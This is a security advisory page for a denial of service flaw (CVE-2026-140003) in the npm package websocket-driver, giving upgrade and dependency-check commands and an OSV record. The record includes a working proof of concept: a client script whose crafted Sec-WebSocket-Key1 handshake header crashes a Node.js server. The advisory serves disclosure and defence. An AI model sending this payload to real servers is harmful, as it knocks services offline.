CVE-2026-140003: websocket-driver Denial of Service Vulnerability
HIGHCVE-2026-140003 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-248: Uncaught Exception) affecting websocket-driver libraries in the npm ecosystem. The issue involves denial of service triggered by malformed sec-websocket-key1 header. Remediation is available by upgrading affected packages to version 0.8.0.
CVE-2026-140003 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-140003
To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install websocket-driver@0.8.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls websocket-driver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140003, inspect your project dependencies using npm:
npm ls websocket-driver
Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.0), your application is affected.
Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140003 Affected websocket-driver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
websocket-driver
|
npm |
< 0.8.0
|
0.8.0
|
References
Frequently Asked Questions
What is CVE-2026-140003?
Which websocket-driver versions are affected?
What version fixes CVE-2026-140003?
Is websocket-driver affected?
What is the CVSS score of CVE-2026-140003?
What CWE is associated with CVE-2026-140003?
How can I check npm dependencies for CVE-2026-140003?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c4gv-fww2-jp3r",
"modified" : "2026-12-01T18:23:50Z",
"published" : "2026-12-01T18:23:50Z",
"aliases" : [ "CVE-2026-140003" ],
"summary" : "websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header",
"details" : "### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n let driver = ws.server()\n\n driver.on('connect', () => {\n if (ws.isWebSocket(driver)) driver.start()\n })\n\n driver.on('close', () => conn.end())\n conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () => {\n tcp.write([\n 'GET / HTTP/1.1',\n 'Host: 127.0.0.1:8000',\n 'Connection: upgrade',\n 'Upgrade: websocket',\n 'Sec-WebSocket-Key1: 858 993 4592',\n 'Sec-WebSocket-Key2: 1 1',\n '',\n '12345678'\n ].join('\\r\\n'))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "websocket-driver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140003"
}, {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/faye/websocket-driver-node"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-01T18:23:50Z",
"nvd_published_at" : "2026-11-30T22:17:29Z"
}
}